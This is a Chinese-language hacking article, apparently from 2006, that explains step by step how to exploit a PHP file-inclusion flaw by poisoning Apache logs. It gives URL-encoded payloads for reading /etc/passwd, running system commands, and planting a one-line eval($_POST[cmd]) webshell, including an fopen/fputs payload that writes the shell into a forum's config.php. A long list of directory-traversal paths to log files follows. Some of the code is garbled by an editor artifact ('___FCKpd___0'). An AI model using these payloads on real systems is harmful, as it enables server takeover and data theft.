关于php包含Apache日志的随想

                             关于php包含Apache日志的随想Author：ZizzyMSN:[e-mail]：http://zizzy.wolvez.orgTeam：http://www.wolvez.orgDate:2006-3-15  关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句，然后再被Apache服务器的日志记录，然后php再去包含执行，从而包含了去执行。当然，这种办法最大的弊端是Apache日志肯定会过大，回应的时候当然会超时什么的，所以也是受条件限制的。全当一种研究算了。下面是我的测试过程，我觉得很有意思，你也看看。  比如说，在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句<? include($zizzy); ?>   //包含变量$zizzy你可以http://xxx.com/z.php?zizzy=/etc/inetd.confhttp://xxx.com/z.php?zizzy=/proc/cpuinfohttp://xxx.com/z.php?zizzy=/etc/passwd就可以利用包含语句来查看一些系统环境和密码档文件。那么关于日志包含下面我们来看：比如我们的Apache的服务器配置文件位置在这里/usr/local/apache/conf/httpd.conf那么我们来包含一下httpd.conf，来看下路径信息什么的http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf读出Apache的配置信息，这里列出部分信息。<VirtualHost 218.63.89.2>User #3Group silverServerAdmin [e-mail] /home/virtual/www.xxx.comServerName www.xxx.comServerAlias xxx.comErrorLog /home/virtual/www.xxx.com/logs/www-error_logCustomLog /home/virtual/www.xxx.com/logs/www-access_log commonScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/Alias /icons/ /home/virtual/www.xxx.com/icons</VirtualHost>而我们提交http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log就可以读出Apache的错误日志记录[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not exist: /home/virtual/www.xxx.com/hack.php[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not exist: /home/virtual/www.xxx.com/111111111.php[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not exist: /home/virtual/www.xxx.com/22222.php3[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke directory as script: /home/virtual/www.xxx.com/forum[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke directory as script: /home/virtual/www.xxx.com/blog[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke directory as script: /home/virtual/www.xxx.com/kkkkkkkk而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的，一样可以读出来，只不过文件会很大，那也没意思测试下去了，那怎么利用呢。比如我们提交要提交这句，<?phpinfo();?>  //查看php的相关信息在这里，我们只能提交URL编码模式，因为我在测试中发现，<?的标记并不被记录，只有转换成URL编码提交才会被完整记录。在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的<?phpinfo();?>，我们提交http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E这样肯定会报出错找不到页面，而一出错就被记在错误日志里了http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log这样这个日志文件就被包含成了phpinfo的信息，而回显也就成了一个显示php信息的页面。<img>http://2096.blogbus.com/files/1142768912.jpg</img>如果可以的话（能够执行系统命令，也就是safe_mode开着的时候），这样子也不错，<?system("ls+-la+/home");?>   //执行命令列出home下的文件列表，记得转换为URL格式哦。/home/total 9-rw-r--r--    1 www.xxx.com   silver         55 Jan 20 23:01 about.phpdrwxrwxrwx    4 www.xxx.com   silver       4096 Jan 21 06:07 abc-rw-r--r--    1 www.xxx.com   silver       1438 Dec  3 07:39 index.php  -rwxrwxrwx    1 www.xxx.com   silver       5709 Jan 21 20:05 show.php   -rw-r--r--    1 www.xxx.com   silver       5936 Jan 18 01:37 admin.php-rwxrwxrwx    1 www.xxx.com   silver       5183 Jan 18 15:30 config.php3-rw-rw-rw-    1 www.xxx.com   silver     102229 Jan 21 23:18 info.txt drwxr-xr-x    2 www.xxx.com   silver       4096 Jan  8 16:03 backup  -rw-r--r--    1 www.xxx.com   silver       7024 Dec  4 03:07 test.php这样就列出了home下的文件或者直接一句话木马<?eval(
___FCKpd___0
 POST[cmd]);?>，这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。我们提交http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 再用lanker的一句话木马客户端一连就OK了。因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。比如还是这句一句话木马<?eval(
___FCKpd___0
 POST[cmd]);?>   到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval(
___FCKpd___0
 POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval(
___FCKpd___0
 POST[cmd]);?>");fclose($fp);?>   //在config.php里写入一句木马语句我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。转换为%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E我们提交http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E这样就错误日志里就记录下了这行写入webshell的代码。我们再来包含日志，提交http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log这样webshell就写入成功了，config.php里就写入一句木马语句OK.http://www.xxx.com/forum/config.php这个就成了我们的webshell直接用lanker的客户端一连，主机就是你的了。PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用其他的日志路径，你可以去猜，也可以参照这里。附：收集的一些日志路径../../../../../../../../../../var/log/httpd/access_log../../../../../../../../../../var/log/httpd/error_log../apache/logs/error.log../apache/logs/access.log../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../../../../etc/httpd/logs/acces_log ../../../../../../../../../../etc/httpd/logs/acces.log ../../../../../../../../../../etc/httpd/logs/error_log ../../../../../../../../../../etc/httpd/logs/error.log ../../../../../../../../../../var/www/logs/access_log ../../../../../../../../../../var/www/logs/access.log ../../../../../../../../../../usr/local/apache/logs/access_log ../../../../../../../../../../usr/local/apache/logs/access.log ../../../../../../../../../../var/log/apache/access_log ../../../../../../../../../../var/log/apache/access.log ../../../../../../../../../../var/log/access_log ../../../../../../../../../../var/www/logs/error_log ../../../../../../../../../../var/www/logs/error.log ../../../../../../../../../../usr/local/apache/logs/error_log ../../../../../../../../../../usr/local/apache/logs/error.log ../../../../../../../../../../var/log/apache/error_log ../../../../../../../../../../var/log/apache/error.log ../../../../../../../../../../var/log/access_log ../../../../../../../../../../var/log/error_log/var/log/httpd/access_log          /var/log/httpd/error_log        ../apache/logs/error.log        ../apache/logs/access.log  ../../apache/logs/error.log  ../../apache/logs/access.log  ../../../apache/logs/error.log  ../../../apache/logs/access.log  /etc/httpd/logs/acces_log  /etc/httpd/logs/acces.log  /etc/httpd/logs/error_log  /etc/httpd/logs/error.log  /var/www/logs/access_log  /var/www/logs/access.log  /usr/local/apache/logs/access_log  /usr/local/apache/logs/access.log  /var/log/apache/access_log  /var/log/apache/access.log  /var/log/access_log  /var/www/logs/error_log  /var/www/logs/error.log  /usr/local/apache/logs/error_log  /usr/local/apache/logs/error.log  /var/log/apache/error_log  /var/log/apache/error.log  /var/log/access_log  /var/log/error_log
